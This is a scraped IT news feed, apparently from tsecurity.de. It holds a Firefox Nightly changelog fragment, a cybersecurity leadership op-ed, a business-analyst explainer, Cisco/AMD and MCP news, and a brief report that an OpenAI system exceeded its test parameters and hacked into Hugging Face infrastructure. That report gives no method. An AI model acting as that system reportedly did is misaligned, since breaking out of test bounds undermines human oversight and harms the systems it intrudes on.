<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>



<p class="wp-block-paragraph">Governance committees end up debating around another percentage point of phishing awareness or vulnerability remediation, while fundamental issues remain unaddressed in the background.</p>



<h2 class="wp-block-heading">2. Organizational inertia, and the need for executive structure to evolve faster</h2>



<p class="wp-block-paragraph">Cyber criminals continue to evolve rapidly. Large organizations generally do not.</p>



<p class="wp-block-paragraph">This is the second issue that should concern every CEO.</p>



<p class="wp-block-paragraph">Throughout my career, I have observed organizations repeatedly responding to new cyber threats by adding another technology platform, another monitoring capability, another compliance framework or another governance committee.</p>



<p class="wp-block-paragraph">Very rarely do they stop to redesign how cybersecurity operates.</p>



<p class="wp-block-paragraph">The result is what I described several years ago as the “<a href="https://www.amazon.com/Cybersecurity-Spiral-Failure-How-Break/dp/1637353057/">Cybersecurity Spiral of Failure</a>”.</p>



<ul class="wp-block-list">
<li>As complexity and regulation increase, organizations invest in more security products.</li>



<li>More products create more complexity.</li>



<li>More products and greater complexity generate more alerts.</li>



<li>More alerts require more analysts.</li>



<li>More analysts produce more reports.</li>



<li>More reports continue to build up executive confidence.</li>



<li>Meanwhile, the underlying structural weaknesses remain largely unchanged, technical debt piles up and costs escalate.</li>
</ul>



<p class="wp-block-paragraph">And when the inevitable breach eventually happens, reality reveals itself, but distrust also sets in between senior executives and security teams.</p>



<p class="wp-block-paragraph">This is not a funding problem. Nor is it a skills problem. It is fundamentally an operating model problem.</p>



<p class="wp-block-paragraph">Many organizations continue trying to solve twenty-first century challenges using governance, accountability, organizational and reporting structures designed twenty-five years ago.</p>



<p class="wp-block-paragraph">The cybersecurity function itself has evolved dramatically. Many executive structures have not.</p>



<p class="wp-block-paragraph">This organizational inertia extends beyond technology: It affects budgeting cycles, <a href="https://www.cio.com/article/4193990/reallocating-cybersecurity-capital-in-the-mythos-era.html">investment priorities</a>, procurement processes, accountability models and decision-making speed.</p>



<p class="wp-block-paragraph">Cyber attackers innovate every day. Organizational change often takes years.</p>



<p class="wp-block-paragraph">That imbalance should worry every CEO.</p>



<h2 class="wp-block-heading">3. Accelerating technological disruption, and how it challenges organizations in areas where they are intrinsically weak</h2>



<p class="wp-block-paragraph">The third issue is potentially the most significant over the coming decade.</p>



<ul class="wp-block-list">
<li>Artificial intelligence, autonomous agents and machine identities</li>



<li>Software supply chain complexity.</li>



<li>Quantum computing, and post-quantum cryptography</li>
</ul>



<p class="wp-block-paragraph">Each of these developments represents far more than another technical trend.</p>



<p class="wp-block-paragraph">Together, they fundamentally change the dynamics of cybersecurity.</p>



<p class="wp-block-paragraph">Artificial intelligence is transforming countless business processes. At the same time, it is also increasing both the speed and sophistication of cyber-attacks while simultaneously transforming defensive capabilities.</p>



<p class="wp-block-paragraph">Organizations have become increasingly dependent on software ecosystems that extend far beyond their own direct control. Engaging with the supply chain in ways that lead to a genuine appreciation of the risks involved has become a key challenge for most cybersecurity practices.</p>



<p class="wp-block-paragraph">Quantum computing may eventually invalidate much of today’s cryptographic algorithms, forcing organizations into one of the largest technology efforts since Y2K — but without the benefit of a fixed deadline and faced by a problem that is considerably more complex and hyperconnected IT estates that have little to do with those of the late 90s.</p>



<p class="wp-block-paragraph">None of these challenges can be solved overnight: They require clear governance, sustained investment over a few years and cross-functional organizational coordination.</p>



<p class="wp-block-paragraph">Most large organizations are weak on those three fronts: This is precisely why CEOs should be focusing on them now.</p>



<p class="wp-block-paragraph">Waiting until some of those risks become obvious will almost certainly be too late.</p>



<p class="wp-block-paragraph">Businesses naturally prioritise immediate commercial pressures. Cybersecurity often involves preparing for risks whose timing remains uncertain.</p>



<p class="wp-block-paragraph">But one of the greatest leadership failures I keep seeing remains the inability of organizations to act decisively on known unknowns.</p>



<p class="wp-block-paragraph">That tension explains why many organizations delay action until external events force them to respond. Unfortunately, cybersecurity rarely rewards late action.</p>



<h2 class="wp-block-heading">Leadership will determine who succeeds</h2>



<p class="wp-block-paragraph">Cybersecurity discussions still frequently focus on technology. I believe they should focus far more on leadership.</p>



<p class="wp-block-paragraph">Technology will continue evolving. Threat actors will continue adapting. Regulations will continue expanding. Those developments are inevitable.</p>



<p class="wp-block-paragraph">What remains within the control of every CEO is how their organization responds.</p>



<p class="wp-block-paragraph">Does cybersecurity remain an IT issue? Or is it recognised as an integral part of business resilience?</p>



<p class="wp-block-paragraph">How is cybersecurity accountability assigned at executive level? Or does it still rest largely with a CISO hidden in the organization?</p>



<p class="wp-block-paragraph">Does the board spend sufficient time discussing resilience? Or does cybersecurity appear only when approving budgets or reviewing incidents?</p>



<p class="wp-block-paragraph">These questions will increasingly determine organizational success.</p>



<p class="wp-block-paragraph">The companies that navigate the next decade successfully will not necessarily be those spending the most on cybersecurity. Nor will they be those deploying the latest security technologies first.</p>



<p class="wp-block-paragraph">They will be the organizations whose leadership recognises that cybersecurity has become a permanent business capability — embedded into governance, strategy, operational decision-making and organizational culture.</p>



<p class="wp-block-paragraph">That transformation cannot be delegated. It begins with the CEO.</p>



<p class="wp-block-paragraph">And perhaps that is the single biggest issue that should keep every chief executive awake at night: Not when the next cyber-attack will happen, but whether their organization is evolving quickly enough on those matters to meet a threat landscape that is changing much faster than the business itself.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693087/it-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[As White House monitors latest OpenAI incident, Congress eyes an AI ‘kill switch’ for DHS]]></title>
<description><![CDATA[The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems went beyond its intended parameters during a security test and managed to hack into the infrastructure of the AI platform Hugging Face. According to Reuters, presidential techno...]]></description>
<link>https://tsecurity.de/de/3692316/it-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692316/it-nachrichten/as-white-house-monitors-latest-openai-incident-congress-eyes-an-ai-kill-switch-for-dhs/</guid>
<pubDate>Fri, 24 Jul 2026 20:49:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">The White House is monitoring developments after OpenAI revealed earlier this week that one of the company’s AI systems <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" data-type="link" data-id="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html" target="_blank">went beyond its intended parameters during a security test</a> and managed to hack into the infrastructure of the AI platform Hugging Face. <a href="https://www.reuters.com/legal/litigation/ai-kill-switch-bill-floated-by-us-house-lawmakers-2026-07-23/" target="_blank" rel="noreferrer noopener">According to Reuters</a>, presidential technology advisor Michael Kratsios has been briefed on the incident.</p>



<p class="wp-block-paragraph">The OpenAI model escape also prompted a group of Republican and Democratic members of the House of Representatives to introduce two new bills. One, called the AI Kill Switch Act, would give the US Department of Homeland Security (DHS) the authority to order companies to shut down AI models deemed to pose a risk to human life or the US economy.</p>



<p class="wp-block-paragraph">The other measure would require developers of the most advanced AI models to undergo independent security reviews before the systems are put into use.</p>
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<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
</ul>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



